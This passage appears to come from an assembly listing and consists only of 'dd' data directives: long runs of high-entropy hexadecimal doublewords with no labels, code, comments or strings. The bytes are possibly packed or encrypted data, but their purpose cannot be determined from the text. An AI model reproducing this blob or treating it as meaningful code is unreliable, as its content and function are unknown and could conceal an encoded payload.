		dd 0B50900FFh, 719E0B7Ch, 28983B90h, 10625700h,	68556C3h
		dd 0DA360FEEh, 59388CCCh, 3019B637h, 6E3E557Ch,	0D71917FBh
		dd 0CF61A092h, 0AA90BE13h, 4FEA5408h, 0BB2058A0h, 10003D6Eh
		dd 0E1645EDCh, 263037C7h, 6068F95Dh, 0C06E34BCh, 94A059C0h
		dd 76044h, 38A785DEh, 0BA8D4BDBh, 8ED76E38h, 0D4BE8FECh
		dd 8B7F80C0h, 0A3E6C87h, 0AE889561h, 5EE90050h,	3483AF6Fh
		dd 0C00CE44Ch, 0A6AB642Fh, 29690E22h, 61406307h, 7FE46586h
		dd 506E939h, 0C39ECB57h, 6141A85Fh, 2A9903B7h, 55C0FFE1h
		dd 0ED6E0010h, 0C5EA48B5h, 79D2C86Fh, 16C2AF00h, 1C45CD8h
		dd 46BC4A03h, 0A0CD2667h, 59228088h, 440D28E3h,	0E5A08158h
		dd 4441C712h, 27F410C0h, 310C0039h, 7E014AA7h, 26E6293Fh
		dd 0BD310D60h, 3C49931Bh, 0C68F321Ah, 0D586D228h, 462270B3h
		dd 48C400E8h, 20385E75h, 0F03B4ECh, 6E21BC36h, 588900CBh
		dd 0D0D241A4h, 0C00F97Dh, 6879489Eh, 0F0BD8B92h, 5835504Bh
		dd 0D038440h, 52BE839Ch, 1047E136h, 206F1992h, 95ADCA18h
		dd 0CDA8B513h, 42C24C08h, 2623C3B0h, 0DB39000Eh, 804474E5h
		dd 5B29B93Bh, 8342EC25h, 5E392486h, 773DFAC0h, 3548ACFh
		dd 0DC09156h, 21182E45h, 0BB69C99Eh, 0C17200D5h, 1C300A4Dh
		dd 0F1007B49h, 0BF86769Fh, 128DE0Bh, 25D69A84h,	42DD8B0Dh
		dd 7520EB50h, 7E295B2Bh, 6F7C03E5h, 0DC031623h,	3068FA99h
		dd 0B1C6D662h, 4130AEh,	0B93C4CC1h, 0BFE7E3FCh,	543BED1Ch
		dd 0CB418580h, 0A0D573E0h, 60262DD0h, 8EA369E9h, 690011B9h
		dd 0CD43C88Ah, 220AB4Bh, 1DA25024h, 84C4CF34h, 8F501354h
		dd 5508D400h, 540B8A16h, 0F4B1EB9h, 30858306h, 2902E25Bh
		dd 468356C4h, 5EE06092h, 0A1A3EC40h, 0AE11FFD0h, 4CBC482Ah
		dd 8307F412h, 35B13C30h, 0FD011E10h, 66E64012h,	62CC9BDBh
		dd 0AE39E463h, 4F410023h, 0DA927A8Bh, 9700DF9Ch, 0E168A4A0h
		dd 14D64D95h, 2C4C305Ah, 31502874h, 0A5BE0B6Ch,	891B2C4h
		dd 9E6890D5h, 1427D810h, 9DF0BEC4h, 4C6BF041h, 68D0F445h
		dd 37B53FB2h, 9EEA1CFCh, 5D9840CEh, 74530508h, 0E9CA28C0h
		dd 0D460C3h, 25524DD5h,	24C56188h, 0C1491704h, 0AA036E08h
		dd 0A9D8FD8Bh, 0BE302F8Ah, 3CE169D5h, 0BA4B00F4h, 46D98D56h
		dd 1001F05h, 74BFC0A1h,	38478F65h, 0A480AB79h, 0B71A28C5h
		dd 40C0CA51h, 94531F75h, 7A9807FBh, 0E186D7DBh,	70A74BB1h
		dd 0A206EA52h, 0C8BE9AE8h, 97D30071h, 0B33F3EB0h, 4A0023E1h
		dd 0F0C54967h, 0DE411FEFh, 0CDC00C58h, 0F53AF131h, 0C619624Eh
		dd 0EDCD20C9h, 1B016FB3h, 0AA05A773h, 29815713h, 0D26C9227h
		dd 29B2F076h, 0F028E700h, 49257F20h, 54AA0667h,	30404D46h
		dd 0EFC1783Bh, 0AD90F9D1h, 4D112088h, 0BC00A328h, 0D07AEAA7h
		dd 192E8A88h, 299324C6h, 3F121169h, 30848180h, 1E65664Fh
		dd 0A84CC900h, 31D46805h, 1D7FC82h, 1A2CC47Fh, 41F1DC49h
		dd 174AEF74h, 40A826E6h, 4D44101Ch, 0F05D45CCh,	8FE96C74h
		dd 1232FA1h, 0D8DA4948h, 83F92842h, 759B748h, 0FA6FB839h
		dd 0ED70A017h, 0C3F49A12h, 2CC55303h, 755B762h,	4B71E429h
		dd 1720A036h, 3C018391h, 0F73FB19Ch, 30208E70h,	6AA98022h
		dd 0C07A5380h, 62E1B291h, 0C5005A2Fh, 90F3FF33h, 30D75E5h
		dd 0EBCA2B4Bh, 0F02A4266h, 4930BC0Ah, 3E4579C7h, 7A6632EAh
		dd 0B7225A20h, 0B3002F43h, 9345EBC6h, 0F3D28C9h, 2C29781Ch
		dd 4610254h, 0EBF1052Fh, 0B1D8096h, 600010D1h, 0D2423F9h
		dd 7E087AABh, 8CC90544h, 0C38BC8ACh, 40E7B7CEh,	938D31D8h
		dd 0C122B0A4h, 2E7888D6h, 0F2F300A1h, 1F8C1A3Ch, 0D7004DC5h
		dd 151D25C4h, 0F2A1EBFEh, 317D6153h, 0F439F7A4h, 49008C2Ah
		dd 2388A6A7h, 1242C298h, 44B3FDFCh, 0AB4ED30h, 0FE40F4DBh
		dd 242F38Eh, 91816B43h,	4848EFE7h, 0B8CEDFD8h, 21FCAE84h
		dd 60B7954h, 4C132420h,	0E2CE2C9Ch, 0B42A6960h,	0C30007EDh
		dd 164AF296h, 9287E335h, 85CF20C8h, 87481A48h, 0C3E00BD8h
		dd 5278A926h, 540DA8D5h, 0F3A17071h, 12F831D6h,	0BA012174h
		dd 41037F98h, 80CE7554h, 2B89D964h, 0BD5A24CFh,	1EC54080h
		dd 300D557h, 8297EA58h,	3D4EFB8Ah, 4929F522h, 266A80A0h
		dd 613D05AEh, 5DB2D900h, 312FE646h, 0C8231D58h,	4C8FBDA1h
		dd 0F1A198E9h, 245C15EEh, 4B885E04h, 1E800B6h, 97E6077Bh
		dd 24137550h, 2807532Fh, 2312593h, 318057B7h, 0A8D7D1F7h
		dd 7E044F88h, 895E02Fh,	7F8AA880h, 0F0493A7Ah, 430FCA6h
		dd 0C8BD4303h, 750E5360h, 0C759ABF8h, 2C77380Dh, 0F9F0DF41h
		dd 46BD180h, 0BBEC7426h, 73188503h, 0CCFC249h, 4312AA41h
		dd 3A1D5E29h, 0D802B99Bh, 0FF678D38h, 33C9B641h, 271230Ch
		dd 95EDF02Dh, 5AB7A048h, 0F3029C0h, 7612323Eh, 76EA02C6h
		dd 77247DD9h, 46C84A4h,	0CC8CD449h, 50C3F0BAh, 44134CEDh
		dd 0A3000F3Ah, 43F56069h, 0FA9FA9DBh, 4DA80E5Ch, 0E1A0119Eh
		dd 4B128541h, 0FFA431C0h, 5EC8F2h, 5AA92567h, 20BECC3Fh
		dd 0A70184AEh, 2C5BFE0Eh, 7980F3BDh, 0D7A4FA39h, 0E5F2137Bh
		dd 98D8F824h, 90863100h, 2EF7F2Fh, 8A809D60h, 0FC60252Ch
		dd 0CE60BC7Dh, 0FC7EF841h, 2E8700BBh, 0BA9ABD40h, 2013AAA4h
		dd 0AC142F88h, 42CCC868h, 0B4828126h, 4E05C863h, 8B209406h
		dd 63C90A8h, 0DD490279h, 409069C7h, 0B8C214E9h,	65AF23DCh
		dd 26A0BCEBh, 2C00E5C7h, 1FCF0B8Ch, 0EE0534D0h,	13BEB072h
		dd 0E68E4Bh, 0DEA47F48h, 0D70163F8h, 498BDA1Ch,	3440CCD8h
		dd 54549C28h, 86CF5C72h, 0E58B9902h, 802F60B6h,	61291FF7h
		dd 8A970063h, 2A5EC7D5h, 53304371h, 0AAC3417Ch,	6EF7A0F0h
		dd 762200CFh, 75FA24F7h, 521779A3h, 20309295h, 3DD8AB5Ch
		dd 0BB009350h, 0DDA5DB1Fh
		dd 110F219Eh, 2065A07Ah, 4674F603h, 5125185Ch, 20C26978h
		dd 3CD1C0EDh, 70C10C00h, 5C99B5F7h, 0A5FEA77h, 0ECF52C87h
		dd 83AAE2C4h, 2808885h,	2754DBCh, 6E82B082h, 4FECF101h
		dd 25A43180h, 0D8076397h, 81128DE0h, 90252202h,	2D694830h
		dd 0E9B9009Eh, 3E80BF14h, 6F0A8844h, 0B4E8BE5Dh, 4054F743h
		dd 6647F831h, 598A496Ah, 92626D44h, 491F1008h, 62F7C8DBh
		dd 0F09163D8h, 707212h,	68C7A639h, 484C8D9Eh, 308130ECh
		dd 487E7054h, 5B44C8F0h, 61F260BEh, 0A5E88659h,	7640F2E3h
		dd 0ACB88A6Fh, 0DEE4089h, 0D6782840h, 0D924A152h, 0C854CC10h
		dd 7F855A00h, 0A3FECE98h, 0AE5C00A8h, 7229E1E5h, 54143CB3h
		dd 88A47F4Bh, 838A8256h, 4A606219h, 7601D03Eh, 5422C2B3h
		dd 4DF14C93h, 21839C42h, 4253D478h, 9110DA40h, 0CD54015Bh
		dd 0EE85B193h, 0B916FC3Ch, 7AB2F803h, 34112E7h,	6D897271h
		dd 0B0812EAAh, 9EAE830h, 476138B0h, 46602559h, 4B686ECh
		dd 32B8CF91h, 0FB188329h, 7B537118h, 0D44B91h, 57A1E5F3h
		dd 0EC567F10h, 0B874913h, 4AC05F18h, 0BF4F3A54h, 0F1F96Eh
		dd 0C5297BC7h, 0A2B9D2h, 2C62C36h, 0DD767787h, 0CACD8A05h
		dd 20C36A21h, 7D48A469h, 9E8480BFh, 140F1FE8h, 3E3300A1h
		dd 69851EEFh, 18018070h, 6A87F349h, 0D98E50B7h,	0C2C06044h
		dd 6C8A9C9Ah, 0FA809E00h, 89399961h, 0D862043Eh, 0A1C5F726h
		dd 4ABC0298h, 0B8289829h, 0C3623DEBh, 0B47405B0h, 24995342h
		dd 0ECB86000h, 3095B725h, 37B914BEh, 41C49959h,	0CCC8DA49h
		dd 86B0A0AAh, 13C7C6Eh,	0CD8D1A8Ch, 301EC6BDh, 6D89C7E0h
		dd 3E477BE0h, 260A59F8h, 10C86784h, 2CC4A08Eh, 8FD2003Fh
		dd 3DC35665h, 0A204135Ch, 9CEDBD70h, 216874C2h,	42414E54h
		dd 9C203C70h, 244D27h, 0BEFB1506h, 0E073F842h, 26B0C91Fh
		dd 90EFD589h, 9F72280h,	0F4F17040h, 28932090h, 0A8EBA903h
		dd 78D2AADEh, 22D0B061h, 25036A74h, 95A140C3h, 0F8BB7FDh
		dd 15080524h, 73579088h, 841A011Dh, 0D55DCBCh, 0CE70C4B7h
		dd 732CC82Eh, 2A4D5A01h, 0FC62BE43h, 7B22F607h,	3F0DD072h
		dd 0D502E55Ch, 0CBCD8FB2h, 93DC664Dh, 0BE980678h, 0D31C41F4h
		dd 75C0B813h, 929D74BBh, 1DAA2C6Fh, 6947114Ch, 534C91C8h
		dd 1500CC32h, 0AE2BCF71h, 0B300BE5Eh, 136A80CEh, 58DE34A9h
		dd 864CC88h, 0CA70C277h, 0B1153E20h, 5489DE47h,	52C08002h
		dd 750D140Eh, 0EACA23Fh, 7FF7C3B4h, 0BFDAC940h,	5C14A543h
		dd 0F1223030h, 8896F5E8h, 0A7023860h, 710927C0h, 58F84013h
		dd 7B00272Bh, 652A6649h, 79460Ah, 44089DACh, 0C63E5BD7h
		dd 0F021404Ah, 0C711467h, 0A73091C6h, 0D3DD2E8h, 5D01F2AAh
		dd 1032D0h, 40A283BBh, 77A00FD2h, 0C1B70A87h, 0BB84E458h
		dd 0C8005BA2h, 0F670C03Dh, 1F115852h, 0C14F2807h, 0D57B5DFFh
		dd 0BE298C6Ch, 1C11E9DBh, 0C2830833h, 0C988E6A4h, 9E4A8BC0h
		dd 964CAE01h, 0BFB78A54h, 20CE1C42h, 198E6007h,	7524F907h
		dd 1841F41Ch, 0AC30973Ch, 0FD498846h, 232C2B00h, 726C344Ah
		dd 0EF500ABh, 8EEBAA46h, 0EF4CF144h, 2E48008h, 124FF6DEh
		dd 4EA9126h, 6A2910h, 0A1CC63AAh, 2C8D0902h, 14905217h
		dd 1C056D7Bh, 24437C3Ch, 57CC94C1h, 0E95858h, 0E494D9E6h
		dd 0F74A4DFDh, 0D7B36A07h, 83808AEEh, 128CEF22h, 33EDF147h
		dd 45A48868h, 0F4C1BCAAh, 2FF0933Ah, 6087374h, 0C07B0558h
		dd 4C98290Dh, 1C676D44h, 0CCEFD2h, 0DBAA437Eh, 28FD54DFh
		dd 4926C090h, 60BE4F0Fh, 77F169C6h, 5812E321h, 74C8D47Bh
		dd 580C944Ah, 7B140D40h, 227851D2h, 0A7207F0h, 2042CE2Ch
		dd 7088EB4Ah, 47ED0F04h, 0A4926790h, 31D02898h,	0CD842ED0h
		dd 3A883013h, 10B1BCA4h, 2FE2DF8Eh, 0F039423Ch,	407071EDh
		dd 5F7034AFh, 0FD02E2E4h, 0FCE0D49Ah, 49A0485Ch, 22D74BDFh
		dd 1A204B2Ch, 3D95AB3Bh, 0A300617Dh, 0F242117Eh, 0A0BDF97h
		dd 1444638Dh, 3DBD00D4h, 0D115949Ah, 0FA00D036h, 0DA9251C1h
		dd 24F9AAFCh, 30CF78EFh, 334A2539h, 0F7FB1A0Bh,	3B100079h
		dd 1B83758Dh, 8930F1F0h, 2CCFD9E1h, 0B8919Ch, 0A9B665EFh
		dd 49FA78Bh, 0AD9149ACh, 0D3188921h, 502C4A9Ch,	0CD4B5D80h
		dd 3EE4A5FEh, 9A80AE67h, 0A902CE6Ch, 0ECCA4804h, 498DC42Fh
		dd 7031A9DDh, 8928D447h, 8C905225h, 1503E857h, 3DC46CA1h
		dd 0B856B31Bh, 944DA7D9h, 2FAB4088h, 1000EC7h, 0FC6D194Bh
		dd 0E3FFA0h, 0A57ABA12h, 7B854A0Ch, 34AB4Ch, 2C622259h
		dd 915A88h, 0B4931CBh, 78AA2666h, 0A870D758h, 50E80087h
		dd 2A03779Ah, 0C005BF9h, 0A1A84251h, 589EA72Eh,	0AB13CCA9h
		dd 0C85B10E3h, 0C7924584h, 0C972A0B5h, 2007C2Bh, 0A9802FFEh
		dd 0F2ACD978h, 0F112F0C0h, 3D8D060h, 882E8A2Dh,	0E1E78538h
		dd 30A46605h, 5442F9A4h, 91811300h, 8D3C5AE4h, 4C19B460h
		dd 73144A2Fh, 0B81950FCh, 42F49BC7h, 0E85863A9h, 99DE73Ch
		dd 640F2474h, 0A86FF0B4h, 0D59184h, 8E28F09Ch, 4932FC26h
		dd 2370D850h, 6059EF37h, 41BC42h, 8BC8D8A7h, 0A844912h
		dd 22DC1Fh, 315A6223h, 48E12026h, 76495418h, 0B4D27869h
		dd 947EBE40h, 136880FCh, 91EAAA5Dh, 64A60E09h, 3E401F3h
		dd 81F0152Fh, 0C88D002Eh, 51260625h, 6380574Ch,	0F0850C55h
		dd 49F909EEh, 9044C15Bh, 80C9F6F1h, 50204A31h, 75160A34h
		dd 2088052Dh, 0D8B984h,	7721927Dh, 4E00CEFEh, 0F582DB48h
		dd 1232640h, 0EAA80DBCh, 6096A39Eh, 48A0124h, 8B497AA4h
		dd 58008CE4h, 0CB4D8EACh, 5214AD4h, 81ECAAE2h, 0F38E251h
		dd 0E0074F63h, 0E4046C73h, 0BD7B023Ah, 44996886h, 0E6006C51h
		dd 0A4C4423Eh, 9F340359h, 0C95BD21Ch, 0A50C3B8h, 0DE05357Dh
		dd 0BD2C6786h, 7A718888h, 9119008Ah, 0BC7D5769h, 291E8339h
		dd 0B0857863h, 0E00056AEh, 0B1DE8B03h, 59C4A1AAh, 9E034028h
		dd 5FB76C44h, 17BCD100h, 0F0BD6AB1h, 0F1B23F6Fh, 32998D8Eh
		dd 0C8062AEh, 5DF3123Eh, 0EC80A49Bh, 9D92A672h,	124690A4h
		dd 1429A1DBh, 0C0131CA0h, 3C6C3076h, 0F31DB2D8h, 30412EE1h
		dd 0CC2CB78Dh, 474FB451h, 14FACF08h, 7992AC17h,	0EA37B830h
		dd 46EB13CDh, 0B40B00A1h, 9505F6A6h, 0B1F89650h, 12259839h
		dd 0C405513h, 72BB575h,	0AFF0E2Ch, 8567C260h, 18D89189h
		dd 80F43C8Dh, 0DEA0AA25h, 0F2CD07AEh, 508910F5h, 70E305DFh
		dd 0CB2CC490h, 4844086Ch, 0E9319740h, 920F350Dh, 400158AEh
		dd 442FAA7Eh, 0D4675C87h, 8AA01C5Ch, 0E200D5E6h, 34CE0ABBh
		dd 4299F0Bh, 0C04283E7h, 54DC80A0h, 88A4AF46h, 833CB448h
		dd 0DF416C35h, 589DB8D0h, 0EC9022h, 0EAA72D79h,	8D3E4B9Fh
		dd 49C4CD39h, 8E92198h,	0B78C30EAh, 58A65154h, 7E3AFEA4h
		dd 0D7249D00h, 0EE1D22FBh, 0B70C0F0Ch, 74492908h, 4A5C9062h
		dd 50582721h, 0F6946037h, 9ACE6607h, 0F19004EFh, 5615DB4h
		dd 62BCD7CAh, 0F641271h, 0E63F0758h, 2F630000h,	0B76694B0h
		dd 603FFB31h, 4C727254h, 0D9C86331h, 239C026Eh,	192E653Eh
		dd 9F14BC71h, 8E7388B0h, 31C0EA15h, 8A8B8E32h, 838004B1h
		dd 7D7577BCh, 8780036h,	475C40C7h, 990330E2h, 0C61CD5A7h
		dd 0CD24A167h, 253B6836h, 85DC389Eh, 0E4B312ABh, 0D896BEA4h
		dd 26518480h, 0B012A2D5h, 6F881D04h, 801793h, 0E4528D5Ch
		dd 4A7F4505h, 1B26873Ch
		dd 22E94F9Bh, 49E81E79h, 6CC2DB28h, 9EFC7E45h, 179A008Ah
		dd 5790FFB6h, 0BA009325h, 9C367134h, 13210A7h, 5DF9A484h
		dd 80C8EEF1h, 0ECF22CF9h, 0E2691F4h, 0D898639Bh, 0E4186F49h
		dd 0AD003D78h, 8F941F88h, 3E629066h, 9700A01Ch,	0A6F32C7Bh
		dd 0B8B0988Bh, 51746C77h, 4F05D9FCh, 59F9F4ABh,	1D1344CCh
		dd 83F6418Fh, 0E622DF90h, 0EAA9AFE8h, 96D9205h,	0C0B758ABh
		dd 1716263Bh, 2800C843h, 1852E300h, 0C540494Bh,	0EF70092h
		dd 6FB8ED6Dh, 2701A020h, 78844D7Dh, 0D4495CCEh,	0D9828440h
		dd 20F09020h, 0D486C9CDh, 0E7B96502h, 0A0FAEBE1h, 4AE28BBCh
		dd 126F0869h, 0B380F3BEh, 0F55CEF52h, 0D2994C90h, 0E82FC715h
		dd 88C54913h, 548BCE8h,	96A225Ch, 0C524758Ah, 0A760149Ah
		dd 0A30002DAh, 51B45D0Eh, 123FDCAEh, 0A2C6B8CDh, 63B0088h
		dd 0C7FD4398h, 14D76DAh, 0CD0FF94h, 0D4020918h,	0A9027440h
		dd 78C89633h, 7A7454CFh, 687B2441h, 30A72224h, 67693D12h
		dd 19001E83h, 1D985804h, 99B6D5h, 0F236C035h, 5C48975Fh
		dd 0C078AD58h, 4E4964B6h, 0A9DF0060h, 0F8F16C23h, 18BE4556h
		dd 8326ACC0h, 0C28D01D6h, 14131F04h, 9D606005h,	104F6A27h
		dd 77C2DCh, 0C17252E6h,	37EB18Dh, 3BAE2004h, 34C4E42Eh
		dd 634E0880h, 2C628871h, 0EE0CC513h, 662B2400h,	4C3C26B4h
		dd 0AAC0E4D7h, 47F2CCF0h, 0EC8CB609h, 0CB99001Ah, 69E65364h
		dd 4C845898h, 6888525Fh, 0F5DD0A91h, 60DCFF68h,	0DC5CE69Bh
		dd 4D4CC600h, 0CE2E856Dh, 602F4831h, 1438742Dh,	0E501892Ah
		dd 0F09E243Fh, 19A452F2h, 29610000h, 0F4A7279Fh, 0B257F17h
		dd 97492C00h, 8846CA78h, 1618754Eh, 951142B7h, 0AFDC069Bh
		dd 71795297h, 0B2298700h, 617C72F6h, 3C0690EAh,	0CD05A254h
		dd 8C8A3D81h, 370759ECh, 0D20787BEh, 479D4930h,	268E09F7h
		dd 47212A9h, 0E086C300h, 0B4F973Eh, 4E351250h, 85682052h
		dd 4306BFCFh, 0AA5C846Ch, 0BEE9E972h, 903CD8C0h, 715663B4h
		dd 0CEE8355Ah, 0C9989C54h, 7E58D800h, 0CC681D04h, 9475EC02h
		dd 0DE494154h, 227432C1h, 4FE8007Fh, 18CFEC84h,	2C03780Bh
		dd 0E21E305Bh, 4070A0A1h, 0FD080261h, 0E0C09332h, 6F3B74C8h
		dd 847649C8h, 0C024DBD7h, 9920A079h, 0A3753703h, 50D56523h
		dd 8847A0C8h, 8B008317h, 0EAA84AD2h, 5860A68Fh,	0B70CE48Dh
		dd 7308A477h, 0BA39ACA6h, 4D271F89h, 5DB10AC3h,	232CD036h
		dd 2AD82464h, 4B166074h, 0D200F082h, 0F852207Ch, 69B1283h
		dd 0BD2F9ECEh, 0CCB0B994h, 9D4BD507h, 4DF20DEh,	0E0878C74h
		dd 403044D8h, 35CDC151h, 3CD200E4h, 42A4AD77h, 5A03227Ch
		dd 37D70ED3h, 5E9C6A6h,	2313E291h, 0D008E515h, 0FA0ADE77h
		dd 0E043BEEEh, 96781911h, 11FB8338h, 42C836BCh,	3D13B15Eh
		dd 0FC0081EFh, 24466B28h, 40B44E6Dh, 27A57E8h, 0C5055FE1h
		dd 6AD29EDDh, 3F6CC0AEh, 86001299h, 84A8DAD7h, 24A0FD87h
		dd 12548104h, 0C8F45369h, 6D00AFC8h, 0E0EBEF0Bh, 25A6B66Eh
		dd 80114F3Bh, 0DC1D11CFh, 0EC65BBE8h, 279D0029h, 0DE309BF5h
		dd 0D94B4939h, 0F48380D0h, 0B1B8B095h, 0DCB50010h, 8F2C99E5h
		dd 8F211A25h, 3C35F764h, 91E7CC2h, 80B574A4h, 512692DCh
		dd 0C4093C4Bh, 8448E38Bh, 5540CCh, 0E54EF3DAh, 73F9A217h
		dd 3C62C58h, 0D58BAA8Fh, 588AA294h, 65EF226Ch, 415CB730h
		dd 0F6308C5h, 5F06C44Ah, 0A6CBDC85h, 0AD20084h,	23D46EA7h
		dd 50E538D3h, 2914E780h, 0C448794Ah, 4F88D748h,	25AA2840h
		dd 4862FEABh, 0C922B8B3h, 379DC98h, 909EF171h, 72799050h
		dd 0D17D00DFh, 189B50C3h, 0E26CCEBh, 81D58C9h, 20B20EA0h
		dd 899D98B1h, 24C140EBh, 485ED20Ch, 0FF2B8DC0h,	6780A183h
		dd 13CB5028h, 81D10C4h,	37BECA03h, 99C0F9DFh, 50BE2F83h
		dd 28BA68B1h, 5464C049h, 31F0CC81h, 2C7940F1h, 0CCB44425h
		dd 91864924h, 0C44D817Ch, 0F96797DDh, 0B778ECE3h, 0D77B9405h
		dd 1CDCCA58h, 558101FCh, 0B7B025E1h, 45828A6h, 3CEB4D4Eh
		dd 2732D4BCh, 0C0CBA759h, 0A52B08FCh, 8C74841h,	1219DEF0h
		dd 0A94A3FDh, 0CC062F84h, 49134611h, 0AF942CC7h, 3AED2A07h
		dd 12603BD3h, 0E87E46h,	0A5CBA385h, 1BC14A20h, 1F7220Ah
		dd 0D4811C41h, 70AB15F6h, 0AD499CDh, 427198h, 0E9477834h
		dd 7506FAC9h, 32488B25h, 8664D9C8h, 0A18B1537h,	7805934Ah
		dd 9CA2D449h, 80561310h, 0F0FD03B2h, 0F60ECC2h,	0BD4F432h
		dd 0C59FB0A4h, 0CF802004h, 2509B8DEh, 4294A70Fh, 64F988h
		dd 0B1F19E6Dh, 15ECAD89h, 3097D27Ch, 79103D8h, 69D91C43h
		dd 7BD13046h, 3C09D3D5h, 9840B374h, 351234h, 47AC9471h
		dd 7524A7Ch, 7CF075FFh,	20F58E20h, 3F73EC51h, 913400F4h
		dd 0EBD6111Dh, 810BB524h, 0A9404B33h, 65D018F8h, 0E190087h
		dd 0D41425EAh, 4A003222h, 94801A13h, 25992989h,	4AEE1h
		dd 6C68B062h, 7208E981h, 5DFA88h, 2910486Dh, 2CAD2824h
		dd 6E46541Ah, 4BF04121h, 59CEAD0h, 0F951C187h, 0A7BCC226h
		dd 0EB7A2510h, 3EC0203Ch, 83AFF00Ah, 2595A00h, 0E8956ECBh
		dd 1B963F8Ch, 719D609h,	7804A42Bh, 63048D4Eh, 9D05DFD0h
		dd 5C0052F8h, 0A38ED525h, 0A966038Dh, 4A0E1578h, 0C3683850h
		dd 27DEAA88h, 0D4A0BD0Dh, 0FA85E136h, 582E7F1Eh, 43182B41h
		dd 0FCE9DFA7h, 91902231h, 0B297C370h, 25780E0Bh, 356E1C4Ah
		dd 122F9DE1h, 2C01213Dh, 0EAF086F4h, 2EF039h, 0CBC73CC6h
		dd 49167426h, 0C470DA48h, 90C180EFh, 0D43248F4h, 0F3369680h
		dd 0CE26CB8Bh, 7400384Eh, 0C344E21Ah, 503962C1h, 2CC154B1h
		dd 0F98B124Dh, 0C4BB00C8h, 0E80CFF01h, 0A2FD5A00h, 0A715E904h
		dd 3EC7AB5h, 3C5D668Eh,	349318C6h, 658A9EA8h, 0C0CE0226h
		dd 4CC92209h, 43B7860h,	8BF17295h, 21BCC8B4h, 3A98CC04h
		dd 78BCF3A5h, 77522EC2h, 46E94C80h, 0FD0EA8B1h,	0A0FBB4E8h
		dd 3A4AB64h, 44549855h,	9C589376h, 4BA042C4h, 58FCC8h
		dd 0EA66F27h, 8ABE70C8h, 66357A0Eh, 718B00CEh, 6B128ED2h
		dd 0B4C1396Bh, 0A8187017h, 2686F40Bh, 46240408h, 1214C8F2h
		dd 205E3C33h, 17C3B418h, 83D35300h, 0A58DD41h, 0CE110507h
		dd 4026D47Ch, 81BA8D6Ch, 0D8707B59h, 9FF41E09h,	6EAC1846h
		dd 0B63ECE3h, 8AC5E866h, 35378822h, 6D44A0D8h, 984F667h
		dd 598A8D39h, 0ED9064E3h, 462CDC54h, 246028ABh,	39C0D601h
		dd 0A01F0588h, 0C8F096C3h, 54289354h, 58BC504Dh, 4FBD0540h
		dd 64210517h, 0E1981675h, 27F4681Ch, 0A60A013h,	7087727h
		dd 6497E792h, 93A4508Fh, 470EF079h, 0A22BE684h,	0E32E2C7Dh
		dd 0C4BDEA38h, 13EAFE94h, 0E0F1CAB2h, 73447434h, 0BCC85278h
		dd 0F3F14D07h, 38FBC941h, 75F3789h, 85413DB4h, 0D1EE4854h
		dd 7511150h, 7A879F43h,	8305687h, 18412Eh, 9235F566h, 0BE1F0CF6h
		dd 4A28EF00h, 0E382F63h, 26DEE8A6h, 67BC679Eh, 1C805F13h
		dd 0FFF1DF08h, 69000AEAh, 0B687E3E0h, 5CD3923Eh, 0C8C73077h
		dd 8016A285h, 6E22840h,	93E8606Bh, 0BC39B8C4h, 116FAEBh
		dd 0C27E534Ah, 0DCDAB0A5h, 84A004CDh, 0CC4552C0h, 1C872428h
		dd 3FB4A0ABh, 6000A61Eh, 6CECDFAFh, 84459EFh, 455FEEF1h
		dd 7C8D2C17h, 8B005C33h, 5ABA3288h, 8D0B76C4h, 0C1D59CCDh
		dd 0A4E020B0h, 13635ABEh, 64B3B0h, 0C1B9E694h, 2D33C56Ch
		dd 10992FC4h
		dd 0E434595Ch, 7B3F2AA3h, 0ECCB06C1h, 4AD95919h, 35F07069h
		dd 810191B5h, 0DE70D9A8h, 5473A352h, 8322840Ch,	6DF11F08h
		dd 89A43E68h, 8F30334Dh, 4AF07978h, 6502DC08h, 0B71EAA26h
		dd 4010CA10h, 884AEEB8h, 0A9612DFDh, 2615450h, 0A058FC3Ch
		dd 1C4EF9C9h, 5E77ED03h, 0EC367B8h, 78C855D0h, 0C8C93DC4h
		dd 8CEFE8h, 26612439h, 6ED4788Ah, 3CF98Ah, 2B31994Fh, 77308214h
		dd 0DD1D4CA7h, 0BD7035Ch, 18071FFEh, 18E075BAh,	84B874B2h
		dd 0F04452E8h, 5FCD2278h, 8AA92512h, 0AC359417h, 67AAB880h
		dd 1FD8162Eh, 0D428D28Dh, 0F83B7418h, 62F8A190h, 0A72EA477h
		dd 6038A644h, 761AFABh,	0DDD2D73Fh, 201E2E38h, 744046BAh
		dd 5BAD7822h, 21108EDDh, 51509DBh, 3CC51862h, 0D6DD0Bh
		dd 93A73FBAh, 4C154858h, 0D242858Eh, 30E43553h,	7B586C90h
		dd 8042C874h, 5D6F71C0h, 0F40BA797h, 0C8612696h, 0BCB48A24h
		dd 49828E44h, 0CFE98CA0h, 0E80292EAh, 0DE75C169h, 280060F1h
		dd 0F3B4A982h, 6D78AA11h, 2C0A7870h, 3CE78A81h,	44372517h
		dd 0DD0DC2E0h, 2753726Eh, 0CCA71520h, 8D1961B0h, 0E8E32098h
		dd 0AA164E7Bh, 4C8F51Ch, 0C7A500F9h, 50942E3Ch,	0DE0C6E55h
		dd 0C83EA0B7h, 0CCAB4B4Dh, 44BEB224h, 6625h, 47DE9FEDh
		dd 18365271h, 601F203h,	0B83BC802h, 44B7350Ch, 0DC77F659h
		dd 7C217A00h, 0E7991B8Ch, 80F00CB3h, 0C9D17E52h, 0CD0089ECh
		dd 21E29E6Dh, 5C9D3Dh, 0FC8BD1FFh, 70FABA92h, 10BBDD2Dh
		dd 3FDECCCh, 3B95AC83h,	29BF9A21h, 2B0048F1h, 11B049C8h
		dd 44A600BFh, 0BB7FA361h, 9C5BC53Ah, 0CBA45021h, 1D5DFECh
		dd 0F33480A0h, 0C8FA0A89h, 0D92CFC0Eh, 0F25038E7h, 0ECD182F4h
		dd 0FAF37600h, 3C324ED5h, 2F801830h, 3D2652EAh,	9105DB81h
		dd 4F5B7ABFh, 21EC088h,	28C5EFCBh, 0F4F14371h, 30A66600h
		dd 985B2515h, 8A7744D8h, 0E17255F0h, 94C3D100h,	613E2EA0h
		dd 0E2009C8Eh, 0C340E960h, 2D041493h, 0E5BD386Fh, 2F2268A0h
		dd 280055F7h, 903E33B4h, 56EDE700h, 0B08938Dh, 0F1B73165h
		dd 507154F1h, 0A8152C58h, 85B7EA00h, 402F84F4h,	706F58B5h
		dd 0CB4EB6C0h, 87006C72h, 7A79AB92h, 0D14F3Ch, 81960F2Dh
		dd 8665568Dh, 0DDEDF016h, 54E23034h, 11DC6224h,	104B01C7h
		dd 9A386E5Ah, 9672B030h, 0CB788FF8h, 3B0028B6h,	14F8D200h
